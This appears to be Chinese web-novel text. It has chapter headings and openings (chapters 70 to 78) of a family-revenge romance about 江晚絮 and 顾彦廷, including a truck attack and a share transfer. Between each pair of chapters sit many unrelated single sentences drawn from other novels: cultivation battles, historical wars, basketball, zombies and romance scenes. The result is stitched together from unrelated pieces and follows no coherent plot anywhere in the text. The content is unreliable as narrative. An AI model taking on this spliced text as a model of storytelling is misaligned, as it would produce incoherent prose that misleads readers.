说罢,又是叫来了一批人,一行十多人站在面前,这批人的肤色明显更为白皙一些。
第一卷 第70章 把她送进精神病院
顾彦廷接到电话的时候,正载着江晚絮,行驶在回家的路上。
电话是林舟打来的。
“顾总,出事了。”
“陈武……就是您派给江小姐的保镖,出车祸了。”
“肇事者是江芊妤,她偷了一辆货车,蓄意谋杀。”
林修也是没想到这六耳猕猴竟然和那西游记中描述的一样,除了性格之外,旁人还真的很难从外形之上将他们区分开来。要是这样的话,那还真是难对付了。
“有什么事情是我都不能听的,真是的。”福田美玲子没办法,只好不耐烦的同凯丽一起向外走去。
五千万仙人,在云梦城后集结着,整个天空阴沉了下来,一股股肃杀之气,在空中回荡着。
他们可不是笨蛋,哪里不知道自己继续说下去的话,可能就没办法继续坐在教室中了,唯一的后果就是被狠狠的收拾。
她们本来很失望地要走开,一个船家走过来,告诉她们,坐船是不要钱的。
而后,萧傲和莫问天便隔三差五的便聚到一起,比试一下,一直到萧傲转世。
看着刘盖一身空的下车,那士兵开始在车上寻找起来,而在周围的人都看着王海猛的车子,苏馨兰,方英还有李新的两位兄弟,死死的盯着那里,心中极度的紧张。
紫‘色’的深瞳中有流光暗转,他静静看着那张近在咫尺的容颜,呼吸一紧,下一刻,已然情难自制地将薄‘唇’压了下去。
李新进入后,几分钟便出来了,没有人知道他进去究竟说了些什么话,这时他才到了酒店的大堂处问了一下那大堂经理,自己的“叔叔”被安排到那里了。
撞翻那电话亭之后,货车也总算停了下来,歪歪扭扭地靠在那里。世人都猎奇地围了上去,只看到那货车之中坐着一个喝的醉醺醺的大汉,正仰在那里,脑门上头是血。
一时间,不要说他们这里了,就是在所有人的面前,都是被这消息给霸屏了,看的一些人是惊愕无比。
“我是想看看,有谁这么大胆,敢杀西门师弟!”声音落下,伏怡的美眸闪过一抹猩红的冷芒,倒是与风魔天的气质极为相似。
鲲感觉到苏尘身上传来的惧意,赶紧大声呵斥,这才让他反应了过来。
见拳头砸来,萧天宇的神色闪过一抹冷意,还不待那彪形大汉弄清楚怎么回事,便就感觉腹部一阵生疼,赫然只见萧天宇一脚踢在他的腹部,顿时彪形大汉哇~的一声鲜血喷出,身躯一个踉跄,朝后仰去。
“不不不,我并没阻拦,穆青璃跟你们走可和我无关!”苏尘赶紧要起了头来,身边的穆青璃见状不由愣住了,没想到对方竟然会说出如此之话,心死的感觉也不过如此。
王宗望瞪大了眼睛,好像失去了希望一样,躺在病榻上只剩喘气了。
“行,我知道了,这件事情我会处理的。”说完老爷子就想要挂断电话,可是陆江海的话打断了他的动作。
换句话说,中国人早就知道怎么制备硝酸钾了,硝石还是一味常用药,可见硝石的广泛运用了。早在战国时,硝石已经被发现了,但是硝酸还没发明。
这样的一幕,终于让萧家暗暗吐出一浊气,要不是宣布了萧紫嫣十六岁生日择婿,恐怕四大家族便不会替萧家说话,如今,萧家也终于不用卷入这场纷争之中了。
第一卷 第71章 你才是我们的亲妹妹
江明泽看到江晚絮没什么表情,硬着头皮艰难地开口:“爸他……我们商量过了。”
“江家对不起你。”
“我们知道,现在说什么都晚了。我们也不求你原谅。”
“只是,江氏集团,是你爷爷一辈子的心血。我们……我们没脸让它就这么没了。”
“这是它全部的股份,百分之百。”
听到刘晚风这不要脸的话,还没有被老师提问到的柳少天,直接就站起来捂着自己的脸说道;“老师,你不用提问我了,我现在最大的梦想就是早点让这混蛋当上全国首富,然后我好赚够钱来换取自己的自由身。
碰了碰腰间佩着的长剑,叶昊便是迎着看着他的两人走去。这把长剑,当时确实花了不少银子。不过,当时他刚刚获得了羽宫徽的积累,所以也不在意。
此时的大元帝国积弊已久,满目疮痍,曾经纵横四海八荒的铁骑王朝已经暮色苍茫,轰轰烈烈的农民大起义山雨欲来。
天气太冷,曹家老爷子没有坐在这里吃饭,躺在炕上吃着麦麸粥,因为家里太穷了烧不起一分银子一担的木柴,更烧不起一分银子一斤的煤炭。
学着墨染秋的惯用套路,用通知的语气说着商量的话语,表示着对于这件事你除了接受以外没有任何协商的余地。
瘦死的骆驼比马大,康里崉崉虽然手中没了兵权,但毕竟是一省丞相,董抟霄哪敢轻易得罪?
出名的也就那几部作品,成事儿的也就那几个朗朗上口的声优,这也是很让人无奈的了。
被紫色火焰与血色能量所充斥的能量风暴,足有几十丈庞大,宛如横立天地的庞然巨人般,风暴疯狂旋转间,释放出的破坏力,即使是天空上的众位强者,也是不免有些变色。
随着一道道蘑菇云的升起,三十多艘倭国海船大部分被炸成了残骸,沉到到了海底。
杜遵道闻言睁开了眼睛,盯着他饱含深意的笑容,若有所思,没有出声。
若九容不来,在这场杏林大赛中,两位来自天医门的首座可畏是地位最高的,也是最受大家崇敬的。
“又是嗜血殿。”听到这个三个字,叶辰的眸中,不由自主的爆射了寒芒。
没添加一个乐器,添加的时间点、长度都要经过无数次的尝试和推敲。
妞妞每次临走时,都依依不舍的望着我,我唤它它会飞奔到我面前,我拍拍它的屁股,她又会像一阵风一样追上熊大和熊二。
这可不是一般的粉末,乃是他用大楚特产和冥界特产混合,精心调制而成。
就在苏槿夕内心苦苦的挣扎之时,耳边再次传来那个熟悉的声音。
张扬朝陈妍希露出微笑,虽然张扬已经尽量让自己看起来很挫很蠢笨,可是这笑容沐浴在一楼大厅的阳光里,却让陈妍希觉得张扬就跟沐浴在佛光的金光中一样,浑身上下都散发着吸引她的魅力。
“铁柱少爷,您看我做的对不对呀?”做好一切之后尽管又来到赵铁柱身边,生怕赵铁柱还有什么不满意的地方。
佛家的物件儿,他自不敢轻易触碰,大日如来净世咒的因果还未了断,他可不想再添其他因果,佛家不凡,万不能惹。
原本还在拍照的杨蜜桃被苏染染这一扑,顿时吓的半死,这单反可是她从她哥那里借来的,要是坏了的话,她也要完了。
第一卷 第72章 最温暖的一顿饭
江明泽和江明宇的脸色,因为江晚絮的这一声质问,变得惨白。
他们所有的伪装,所有的算计,都被江晚絮这几句话,撕得粉碎,暴露在空气里。
难堪,羞耻,还有被戳穿的恼怒,齐齐涌上心头。
江晚絮看着他们这副模样,觉得无比的可笑。
她弯下腰,捡起桌上的那份《股权转让协议书》。
张昭虽知吴夫人言之有理,然而心中却更是伤感,如今二张于江东的地位如二蒯于荆襄一般,乃世家魁首,然而庞山民日后若得江东,张昭不免担心张家难得新主眷顾,地位将下降不少。
李优兰理了理悲伤地情绪,又恢复了原先的雍容典雅。从赵子岳的怀里接过还在抹眼泪的丫丫说道:“至少我还有丫丫。祝你们幸福。”说完,看也不看赵子岳一眼,抱着丫丫扭头走去。
而剩下的冲过来的几人,柳岩重心下落,一个利落帅气的三百六十度扫堂腿,一举将几人全都撩倒在地,各种刀片“当当当”的掉落了一地,被扫到之人脚腕处骨骼皆断,根本就再无爬起来的可能。
这让龙竹龙菊两个老家伙心里的不安再次加深了一分,单打不是对手,从没有过的合击术也没能将他们拿下。
熊坤话一出口,韩风激灵一下,打了个冷颤。双元同修已然让他吃尽了苦头,再要加上一个,那还能活吗?
疯狂的军团六架B-2幽灵战略隐形轰炸机飞越万顷波涛,无声无息的到达了欧洲大陆上空。
兽魂晶与当初王轩切石开出来的那种魂晶差不多,只不多一种是人族的,一种是兽族的罢了,兽魂晶乃是强大的妖兽死后形成的魂晶,具有庞大的能量。
没错,面对最上头的老总,下面的人总是没有什么发言权,而起点,又是通过‘幻想科技’这个‘新世界’的管理公司收购的,李芸梦自然有全权的发言权和处理权。
庞统也明白为什么夏侯兄弟破釜沉舟,死战到底。究其缘由,怕是这二人火急火燎的想要回军,救援许都,只是如今的连番交战,已将庞统彻底惹恼,死不退让,庞统已拿定主意,与这洛阳城内兵马纠缠到底。
论学生资源,这些学校,整个国内来,都能够算得上非常不错的了。
那三人只见到三道拳芒如流星闪过,脑袋就齐齐被打爆,瞬间被秒杀。
说实话,他现在很想一刀了结了自己,也许死去,他心中的污浊才会被洗去。
“唧唧唧唧”,无数的尸虫葬身火海,可也终于突破了吕枫的火圈,地面上留下了一层灰烬。
这一头老虎精,也是一头大妖,怒目而视,粗狂的眉毛倒竖,一股煞气透体而出,面露狰狞,能将凡人活活吓死。
青年最后一句话声音无比的冰冷,让下面的人更是噤若寒蝉,一些人眼神闪烁,悄悄的收起了心中的一些打算。
知识从来都是掌握在少数人手中,万云君对赵原能够收集来这么多前朝诗词,感到十分震惊,也许这就是自己这个兄弟才气的来源。
展霄定了下心神,放下帷幕就想走。不料,刚一转身,背上就被一只手点住了穴道,动弹不得。
至于天皇宫之人,看到那三尊浮现的三皇虚影,更是忍不住跪地膜拜。
然而值此种族存亡关头,值此族人灭亡之际,还是有一些贪生怕死之辈脱离队伍,并且朝着天上的灵魂本源而去,其中有数千亿人族,还有数百人族半圣、大能,更有数尊人族圣人与人族大能遁走。
第一卷 第73章 放心交给我
江明哲端着碗,却迟迟没有再动筷子。
眼前的珍馐美味,仿佛都失去了味道。
他心中五味杂陈,既有庆幸,又有茫然,更多的是面对江晚絮和顾彦廷时,那份无地自容的愧疚。
餐厅里,水晶吊灯洒下温暖的光,气氛却在短暂的温情后,重新归于一种微妙的安静。
当他把她打横抱起时,她圈住了他的脖子。虽然不再挣扎,但瞬间,泪水却蜂拥而出,无法自抑。
玄离霜闻言抱紧了凤北烈脖子,把下巴放在他的肩膀上面,随着凤北烈律动的变化,她每一次都觉得自己要陷入云颠当中。
自从皇太后回宫以来,借着各种理由在慈宁宫召见妃嫔多次,其目的昭然若揭。
待荣嬷嬷等人退下了后,无袭便一脸疲倦的靠在贵妃椅上坐了下来。
直到把夏天萌送到急诊处的手术床上,他才被赶来的医生推出手术室。
而其他几大帮派的进度也十分的迅速,几乎在龙腾到达的时候也到达了边缘地带。
两人约了见面的地方,是一间在A市比较出名的私人会所——雅风。
大伙儿的声音一阵接着一阵,有愤愤不平者冲上前来,指责着喻琳琳。
往大床上面一扔,轩辕离霜立刻将他的衣服扯开,本来夏天的衣服就薄,轩辕离霜轻轻地一扯,他的胸口就露出来。
白雪见杨倩这么笃定的说赵炎不会离婚,即使心里再相信赵炎此刻也动摇了,她不是傻,只是她不敢去相信。
看着娇妻那红红的脸蛋,方羽终于忍不住,拉弓射箭,准确无误的射中目标。
五万说多也不多,但说少也不少了,正如前面有一个看客说的,这五万就当他一年不吃不喝所有工资加在一起。
“天色不早,还请叶侯尝尝我大漠的美食。”夜陀说完,端起面前的这个暂且叫做碗的东西一口喝干,然后直接上手,只有刀叉这种东西现在可没有多少人用的。
“夏比,他是一个天才,别限制他的未来,让他自由一点!”雨果拉阿莱格里到一边这么说道。
林晨点燃了一只香烟,帅气的吐出了一口香烟,摇了摇头,径直的走了出去。
奥妮克希亚也不在乎是否会被下面的人发现直接化作一阵黑影飞了出去,转瞬间就飞到了克罗米藏身的一处密林中。
双方经过谈判后,最终把价格给确定了下来,特拉帕尼做出了很大的让步,700万欧元的首付款,外加150万欧元左右的附加条款,取得了乌迪内斯的同意。
看着那迎面而来的夺命之刃,滑板鞋玩家连哭泣的时间都没有,就这样被生生夺走了最后的气血。
李察活动了的活动脚腕,身体周围“哧哧”的喷出浓雾遮挡着所有人的视线。
但周围这些它根本看不起的灵兽族“杂种”,居然敢在自己高傲的身体上放肆地进攻。
看到锦枫带着一股浑然天成的上位者气息出现在众人眼前的时候,四周一片短暂的唏嘘之后便是起起落落的问礼声。
静室内,一袭紫月玄袍的赵仙纯闭目良久,忽得睁开眼,起身朝静室外走去。
这座雕梁画栋的精致飞舟顿时提速,几乎化作一道残影,划破漫天云海,朝太极山方向赶去。
这次和叶枫接触过后,她发现叶枫不像其他人一样拘束,和她一起聊天十分落落大方。
第一卷 第74章 送她下地狱
曹野看向杨冕的眼神十分诧异,他刚才用出的那层保护膜是青铜级技能,结果被杨冕一刀劈开,所以他立刻知道对方用的是白银级技能。
狼王三妖之所以会默认鸦王的观点,除了有内心对鸦王的忌惮外,还有就是因为鸦王的话也是颇有道理。
“嘘,有你这么说师父的吗,你也不看看这里是什么场合,四派精英基本上都在这里,能人众多,你说的话别人可能听了去,到时候你让各派同道怎么看你。”若彤皱眉传音训斥琭琭。
让人失望的是这个法阵只有风火水土四大元素,根本没有暗属性的位置。
“你当时忙着跟他们猜码、喝酒,哪里注意到我这里。”李伯阳调侃了一番,刘荣志老脸一红,尴尬地笑了笑。
“我本来要睡着了,被康成志吵醒了。”梁国庆的声音明显有些低迷,听得刘荣志发出嘻嘻嘻的笑声。
这些丧尸单个对付起来还好,可一旦数量多了确实会很难缠,因为你不敢让对方伤到你,万一被伤到了,可能就会变异,而目前杨冕还没开出专门的解药。
进入洞口,长长的队伍燃起了火把,将山洞照得通明,李峻也就此看清了洞内的情况。
胡彪一手提一个塑料便桶,飞跑到菩提树东边,把便桶甩到大石岩下,来回跑了三次,最后又进去,洒了来苏尔,酒精,开了前后窗,又喷洒了空气清新剂,工人进屋施工去了。
丧尸在地上发出无意义的嘶吼声,肢体不断扭曲着,挣扎着想重新站起来。
裁判们商量了一下之后给了拜纳姆一个二级恶意犯规,姚明也因此得到了两罚一掷的机会,在姚明两球罚进之后科比脸色也更加的黑了。
而且更让人觉得恐怖的是这时候三分线其实已经不重要了,无论多远,无论是否被包夹,也无论是怎样的投篮姿势,反正汤普森只要出手那就是进。
这可让薛佳仪和俞佳雯慌了,要是翻查昨天的事情,说不定要将她也扯出来。而且今天的事情想来和俞佳雯也脱不开干系,看卫嵘的样子,是非要找出凶手不可的。
“已经搞完了,上午进行的,本来我们反对,关成光说这是集团公司行政部门的要求,他让我们先参加无记名投票打分,有任何问题可以到集团公司找袁助理。”这个关成光,果然把所有事情全推到上级领导身上。
封渊无辜的眨了眨眼睛,喂喂,就算我自己也知道,我这点灵石有点少。
云飞扬转头看了眼一旁一脸花痴的胖子,又看了眼台上那性感靓丽的辅导员。
“是,还好有夫人提醒。”孟阔点点头,表示知道该怎么做了,他还真没想那么多,还好有宝芸注意到了这些。
算了,我还是祝你好运吧,希望下次我回国还能见到完整的你,随后夏天也没让王龙瑞对着摄像机继续皮下去了。
当他裹着睡袍从浴室出来的时候,发现路若萱仍站在原来的地方一动也不动。
一想这阴魂花是柳沉雪拿出来的,吴争把询问的目光看向了柳沉雪。
虽然不知道秦军是怎么确定的那些部落的位置,但事实就是这样。
同时,这玉盆还有着非常富有现代气息的刷卡功能,每一个能力者都被分配了一张卡,轻轻一刷就会在蓝色光芒中显示出一个数字,那意味着你投入魔晶石的数量。
“吼!”血龙马一腿蹬出肢踩下,三个机器人被它巨蹄下,踩的冒出噼里啪啦的火焰。同时叶飞从血龙马身上跳了下来,进入了肉搏战。
“金丹,哈哈!我叶飞也能踏入金丹境界?”叶飞陷入了狂喜当中,一名普通人可以活百来岁,炼气顶峰者可以活到两百岁,而筑基高手可以活五六百岁,如今进入了金丹境界的修仙者,则可以活到上千岁。
韩信点了点头,而后把协议的内容从头到尾看了一遍,内容很简单,基本上就是先前两人相约之事,故而略一打量,便抬头疑惑的看相子婴。
一旦局势动荡这些汉人无法北顾,向南继续通过与大明都十分友善的暹罗和满刺加到达黑水明国是他们一个很好的选择。
然而一进了正堂,这帮匈奴人的举动,更是让一帮秦军将领恼火。
来之前身穿白衣无尽风雅的梅解意,这时候像个落魄的难民,白衣尽碎,身上遍体鳞伤,像是在荆棘丛中滚过,只剩下一条四处漏风的大裤衩了,强迫玉阑珊搀扶着他,往一处山林中走去。
“姜警官,是王副校长让你这样做的吧?”林晓峰走在姜泽安背后说。
就在这时,大巫医洛天嗷的一声,把没有防备的子婴吓了一跳,扭过头去之间洛天此时的祭舞已经跳到了尾声,围着青铜面具开始转圈。
阳阳期待的看着厨房,爸爸第一次做饭,结果,沈先生端出了一盆粥后就在也没进厨房。
“吾等乃是守护桫椤四界的权剑剑灵,换句话说也是亿万生灵的掌管者,想要成为吾等四柄权剑的掌控者,恐怕桫椤境内除了神玄大人,再无第二人。”玄冥剑灵带着他那股傲气对着在场所有人说道。
第一卷 第75章 被尘封的记忆
一辆破旧的货车,拖着黑烟朝着这边直直地冲了过来。
“小心!”
顾彦廷一把推开江晚絮,自己侧身挡在了她的前面。
鲜红的玫瑰,在空中划出一道凄美的弧线,散落一地。
时间仿佛在这一刻被按下了慢放键。
江晚絮被他推得一个趔趄,回头只看到那辆疯狂的货车,离顾彦廷越来越近。
她的心,瞬间提到了嗓子眼!
傅景嗣开车跟在出租车后面跟了一路,为了不让她察觉到,他刻意将距离拉远了一些,一路上都保持这个速度开着。
他并没有受伤,就如穆白有绝对防御一样,他同样也掌握着特殊的防御秘法,所以金母炉那一击,虽然浩瀚,却并没有将他击伤。
除了天赋不足之外,季诗雨悟性、毅力都在上佳,穆白也不希望其在炼丹一道上庸庸碌碌,终生没有太大成就。现在的季诗雨,让他想到了当初的自己,故而他也便顺水推舟,将季诗雨举荐给谢苍术。
后来,我俩都心知肚明的没再继续讨论这件事,霍继都送我回家,又独自一人回了军部。
何况,那秦萱出自炼丹世家,自然不会是弱手,在不清楚其准确实力的情况下,穆白也不敢有半分懈怠保留,否则,他很可能便会因大意而翻舟。
那天正好是周五,郁莘岚下班回家没一会儿,就听到容南城在外面喊她名字。她连拖鞋都没来得及换,就跑了出去。
“别叫我!”宋一唯轻哼,直接起身走到姜熹身边坐下,忽然伸手十分慈爱的摸了一下姜熹的头发。
还是要看姐姐这边怎么说,姐姐不愿意带,他先去也只能自己去了。
这里正说话呢,太子傅李松山,李向林李驸马,何老太医带着何常海,一起从医曹营急匆匆地赶回来了。
依说派遣出炼道返虚境的修士,总比仇芊芊等人更为把稳,如此也可杜绝意外的发生,但偏偏天族的这批‘降临者’中,最强的存在也仅止步于于半步化龙,而仇芊芊,修为更是堪堪与勾神巅峰相当。
要知道,要让范总这种商业大亨当场掉泪的事情真的很少,他们经历过大风大浪风里雨里走來的人,连梁以默也沒想到对方的情绪是这么的激动。
其实最开始说的时候,也是瞅准了君落羽根骨奇佳,可以继承自己的衣钵,想借着这种方法鞭策他好好用功,但每每看到君落羽一说就炸毛的样子之后,这就己经纯粹成了诸葛轩辕的劣根性,只是为了欺负他好玩儿。
当年南郡王府被灭门的时候,自己因为刚刚从现代穿越过来,脑子里还是一片朦朦胧胧的思绪,便被周围的一声声惨厉叫声和血腥之气给夺去了注意力。
幸好,他明白了解了,那自己也就不用再多费口舌去解释了,“走吧,我饿了。”昨天奔波了一天,自己却是什么也没吃就这么睡着了,肚子早就闹了一晚上的空城计了。
看着眼前这个熟悉的身影之时,李陆飞有一种错觉,感觉面对程佩佩之时就好像是面对着镜子里的自己。无论心中的念头是什么样子,都事无不可对其言。
反正北冥烨一直觉得她跟莫以寒两个有一腿,这样一來也更具有说服力。
“看你,不要这个样子,傲不是没有事情吗?傲,你真的不愧是我们上官家的人,那么的威武,为了自己心爱的人,真不错,爷爷为你感到开心。”上官民笑着说道。
第一卷 第76章 他只是在报恩
他保持着全盛时期的状态,开启了如今被他命名为【炎神模式】的状态。
于昔脑袋之上青筋鼓动,手掌心处淡蓝色的灵力有些猩红,原来那是血液。
为了尹梦倩,他印洋主动进入这罪恶的泥潭中,过着惶惶不可终日的每一天。
因此她觉得必须先做准备,绝不能在王四下达撤退命令的时候弄得慌张不已。
就在王四靠着一棵大树,正眯着眼睛要陷入梦乡的时候,一个负责警戒的弟兄立刻慌张的朝着这边跑了过来,将周围的干枯树枝踩断,并发出了嘎嘣的断裂声。
飞在半空的雄狮摩根,率着其他飞行部队,对白骨大鸟疯狂扫射。
五人中,四个年轻人,以及一个中年男子,他们都是黑发黑眸,看样子绝对不是毛熊国的人,这让陈云松了口气。
容光焕发的马周,骑在身高马大的大黄的马背上,向宿国公府邸而去。
李甜甜很开心,自从上次后就再也没见过面了,中间倒是邮寄过几次东西,通过电话,面却是没见过的。
“咱们的公主长大了…”长孙皇后眼含热泪握住李二陛下的手说道。
那招“流花飞雪”可是将野魔人千刀万剐了。那个恐怖的场景,还曾让她做过恶梦。在那一次亲眼目睹了花家秘剑之后,她内心深处,可是真心不希望与花连锁为敌。甚至庆幸现在是同一个队的队员。
他双目怒睁,身后竟是在此刻蓦地显现出了一道可怕的狂影。无穷的元力顿时爆而出,在这一刻天地之间的元力也是在这一刻迅的幻化成了一道道可怕的漩涡,疯狂的朝向着他的位置席卷而来。
在离开超市后,桃乃木爱子忽然紧抱住羽川白泽的右臂感谢道,这让他不禁欣慰地笑了笑。
“绝对是火灵之魄,这地方不可能有火灵之魂的。”杨帆微笑,实际上这一点他并不能肯定,肯定这一点的是灵儿,作为另外一种属性的灵物,她对其他属性到了灵物也有一定程度的了解。
用剑的高手,在青云除了花连锁,苏婉琴实在想不出还有谁,难道她也来了这里?
“孙言,你竟然只知躲避不知还手,简直就是一个强者的耻辱!”二代母体一脸狰狞之色,目光紧盯着对方,口中怒吼道。
‘哗啦啦~啪!’突然,从上方开始不停的掉落沙石碎粒,掉落在地面传来一阵的响动,同时从上方突然落下一道赤红的身影,狠狠的撞击在地面,同时响起了啪的一声轻响。
“……你就没有其他的愿望?”孙言轻轻抽了抽嘴角,你丫还真是个脑残粉。
“死亡暗雾”开始吞噬地面,自他的脚下急遽向陆天雨侵蚀过来。
走出上议院的大门后,凯撒发现外面的广场已经变成了一座血肉磨坊。
“吴侯、总指挥,昨天夜里曹操派出了不少的水贼,我军士卒被他们袭击杀掉了上百人,要是天天这样的话,一个月下来就要牺牲几千人了,到时候还没开战,我军就没有多少能战之兵了。”刘备哭诉道。
台下的赵乂听到这个少年的名字也是奇怪,听到了台上罗斌的话也就明白了为什么会有人听到陈世元的名字吃惊。
以于明对腐儒的了解,如果他发现营地的阵法已经被于明反制,就一定会在第一时间通过特殊手段联系他的。
如果不出意外的话,保加利亚队应该会是最有吃鸡机会的一支队伍。
余笙留在昼族的命魂灯没有被撤销,以本体的手段,确定她的位置自然不是难事。
“是。”刘相应道,他的服从不仅仅因为朱由榔是皇帝,也因为朱由榔不知为何,总是具有极其超越的前瞻性----就好像他真的见过一样。
只是想着明珠,她真得不能接受这样的结果,上辈子明珠已经代替她死过一回了。
就在这时,其中一只猛然挥起手臂,从那斗篷之中,射出百根长针,根根带着些微的绿光。陈炼下意识用冰神掌,拍出一面巨大的掌心,直接挡住。
他将苏茶往自己怀中再搂了搂,确保苏茶全身都笼罩着他的气息,才逐渐平静下来。
当年祖父人到中年,而风状元刚刚双十年华。祖父被风状元风华所迷,与风状元成了忘年交,把风状元视为平生挚友。当年金銮殿上,皇上有意将公主指给风状元。
而过了血池河,便属于幽冥尸地的核心区域,武者进入其中,九死一生。
在感情方面,照儿并没有丝毫的避讳,毕竟她本身就不属于这个世界,之所以诞生,完全是因为你的原因。所以,她的思维是以你为中心,一切都从你的方面去考虑。
韩冥泽和皇后给他们送了很多礼物来,太子亲自来给他们,礼物自然少不了,加上皇帝皇后的,好大一箱子。
双头蛇口中的毒液,比它喷出毒雾还要可怕十倍百倍,方白被它吞入腹中,哪里还有活命的可能?
作为几十年的老同学,孙林对曹山的脾性也很了解,听他这么一说,当下不禁转头看向你。
从郭家出来,凤鸾觉得天是亮的,地是朴实的,就是墙角一株歪脖子树,也是生得娉婷好似碧玉妆成。
不过血池河,便算是幽冥尸地的外围,一般武者历练,都是至此而止。
叶易安极目四望,随着这片光团电闪着冲向阴阳炉所在方位,一团浏亮精纯到宛若黑玉般的黑光相继而起,显然是魔门高阶修士飞身阻击。
只是严伟明卑劣之事儿谁人不知?现在名声都臭了,实非第一人选。相比起来,杨辰,无疑是一个很合适的选择。
第一卷 第77章 公婆的冷脸
千秋功过自有后人评说,现在这位老人,周明却必须要用自己的全部精力和能力去医治。
这些家属们知道了陆玉的身份之后,一个个的表现的也是很激动,一个劲的说着好话,将陆玉夸的都有些不好意思了。陆玉随便的和他们应付了几句,就准备离开。这个时候一个满头白发的老头气喘吁吁的走了过来。
“呃……”狄良还准备要说点什么,但是被陆玉这一下子噎的差点的就背过气去,停了好半天菜缓过神来。
看着眼前摆满的便当,安承佑食指大动,中午虽然在音乐银行的准备室里吃了一顿孙佳仁带的便当,但经过录制舞台和长途的跋涉,早就消化完毕,现在肚子里可是空得很。
“既然是极天老祖的弟子,为什么你会沦落到这样的下场?”叶尘好奇道。
不过罗宏也不是忘本的人,现在在霸天王朝中已经几乎不用再顾忌什么,罗宏便让大唐商会与凤家多多照顾一下乌兰城的回天商会,也算是报答回天商会当初的礼遇之恩。
至于说每年向天庭汇报工作的事情,那就更简单了,天河营的事情司空虎就搞定了,地甲自己的就是修炼二字。
金爽梦对人情世故摸得透透的,就冲周明打了那么多电话,她就知道,自己现在不适合跟着周明,因此决定及早抽身。
“你随我来。”叶尘翻出荒海少主的面具戴在脸上,将人类的气息全部隐藏掉,这样谁也不能发现。
倒是茅十七等人不时来找上张落叶,去酒楼吃上一顿,期间还有一件事,陈近南于一次登门拜访,把顾炎武等人接走,听说是带到了台湾去,具体情况,张落叶没有多了解。
主持人不知是出于节目效果的需要,还是真的被吓到了。她张大的嘴许久没能合拢,观众席也变得鸦雀无声。杭一三人展示的能力,就像一场精彩的杂技表演,但韩枫的能力,把所有人对超能力者的恐惧感重拾了回来。
听着那雨水敲打着玻璃的声音响起,那外面的风刮着树叶呼呼的响,发出巨大的声响。
等到了开考,我一身清爽地进入考场,过程自不必多说,一切顺利,北方的重点大学逃不掉了。
而天机台周围现在早已是人满为患,很多人都是天没有亮就来了,现在是朝阳冉冉升起,距离比斗开始的时间还有一点。
“你最好说到做到。我知道你的超能力能产生一种类似催眠的作用。”赫连柯说。
他张了张口,最后到嘴边的话还是咽了回去。他们做手下的并没有资格询问主子的事情,他们要做的就是服从。
苏晚娘颓败的睁开眼睛,果然,依旧是高楼大厦,这个梦,未醒。
不过乌香雨能够这般问,却不代表他阎振也能这般问,虽然陈洛庇护过他,但却只是看在他妹妹的份上而已。这一点,阎振是知道的,所以也恪守本分,对于一些不该说的,他也不会说。
“轰!”地一声,巨龙的体内发生了威力惊人的爆炸,瞬间将龙的身体炸成了碎片,只剩下龙头、龙尾和部分残肢。
权墨往前走着,步履沉稳,瞳仁森冷,一步步往前,保镖紧跟在后。
“啪”,慕容梓雪叫了几声不见甘凉反应,所以直接抬起玉手,轻轻地拍在了他的手背上。
而最近几天,聂风发现魂珠转化时,损失的能量越来越少了,现在竟然达到了惊人的三分之一,比起前段时间的二分之一,效率已经提升了好大一截。
凌仁兵不愧是心胸开阔之人,真如古人说的,宰相肚里能撑船,刚刚杨旭东对他如此不敬,他却没有丝毫加以责怪,现在反倒对杨旭东的弱点加以提点。
“说的也是,现你说话很合我胃口,那就不保护了。”青年说完,眨眨眼再次消失。
杨一峰留下的意念和神魂本源陡然凝成一道散发着冰寒气息的符印,唰的一下,铭刻在了古老的青铜大门上。
闲聊了一会,天也开始黑下来了,下雨天,这天很早就黑了,他们修复好屋顶后,也没有再出去。一个个都累坏了,倒是都铺下了草席,开始躺倒下来。
这一间会议室比原来的会议室大了很多,足以全部坐下未来娱乐那日渐增多的员工。
“没事,主人刚刚感觉强者降临,为了保护我,就施展了灵魂能量层,笼罩这里。”牧辰认真说道,不动声色,完全就是这个圣子一样。
让我兴奋的是,这块地微微凸起,四周没有好大的树木,整块地像一个倒扣在地上的锅子。
“行,只要你放过我,你让我做什么都可以。”少年赶紧回应到,只要能活下来,哪怕此时让他去杀人,他也都愿意去,毕竟没有什么比活下来更重要了。
齐瑜额头浮现几条黑线,原来自己连碰都碰不了着阴阳池,更别说去影响阴阳池的平衡,怪不得婵儿答应的这么干脆。
既然是专业的盗窃组织,那么对于被绳子绑住后逃脱,应该不在话下吧。
“今天要说的事情就是我们该去那我们应有的报酬了。”颜夕敲了敲石桌子,让大家稍微清醒一些,而且报酬两个字她说的特别重。众人一听到报酬,果然精神了些,耷下去的头又抬了起来。
第一卷 第78章 老宅家宴
“江小姐,咱们明人不说暗话。”
秦兰优雅地交叠起双腿,语气轻柔,却没有半点善意。
“你的过去,我已经调查过了。”
“你在江家不受宠,被几个哥哥轮番欺负。”
“嫁给叶寒五年,当了五年的免费保姆和血库,最后被扫地出门。”
这个军团里的武器比不上纳兰嫣然自己带来的,只是这些天纳兰嫣然没有拿出来而已,毕竟这里十万人,拿出来的早,那可不是一件什么好事,况且武器并不多,只有一万多支四阶n,三千支五阶n。
“血月,为了治好你的伤势,增加你的实力和完成进阶的几率,从今天开始,接下来一个星期里面,每天最少要服用三次‘特效药’,知道吗?”想到这里,李大虎便一脸严肃加认真的看着血月,沉声说道。
可能是它对做好事有什么误解?017不禁产生了一种对自己洞察力的疑惑。
薛龙丢了两颗花生进嘴里,望着远处正在玩骰子的纳兰嫣然,满脸的纨绔笑容。
“弟子遵命!”韩刚立刻应道,嘴角掠过一丝坏笑,目光不善地盯着他们的师弟们。
“你们退回来!”赵长老忽然道。他知道这样下去也奈何不了苏辰。
洪大伟将魔法药水拿在手中,仔细的瞧了瞧,然后便皱起了眉头。
实在是向秋瓷伤的太重,如果不是龙刹在她受伤的第一时间便送来了医疗室,她可能早就撑不下去了。
这家店有一百多种菜,要是都上来的话,恐怕这个量就有点多了吧,这里的各种菜式还算是少的了,要是在其他地方的话,一个大的酒楼,一般都会有数百种菜式。
睡梦中的人骤然睁开眼睛,季笙歌眼神慌张的盯着此刻抵在眼前的脸庞,只是这张脸,并不是她梦中的那张。
看到段染莫名其妙傻笑,武媚儿冷哼一声,秀眉皱起:“我知道你心中可能不平衡,但是,白染完美无瑕,乃是罗浮州第一优秀的青年才俊。
以前只有林家人打他们的份儿,姐姐总是用单薄的身子紧紧的护住他,事后对他说,要坚持,只要大哥考上了大学分配了工作他们兄妹就能离开林家一辈子都不回来了。
奇怪,明明自己按摩的时候,痛的恨不得把自己脚踝剁下来,怎么到了岳凌寒手上,这肌肤细胞也比较听话一些?
平安想了一下,他也不知道吃什么,走了两步跟上了苍海:“二哥,只要不吃鱼什么都成”。
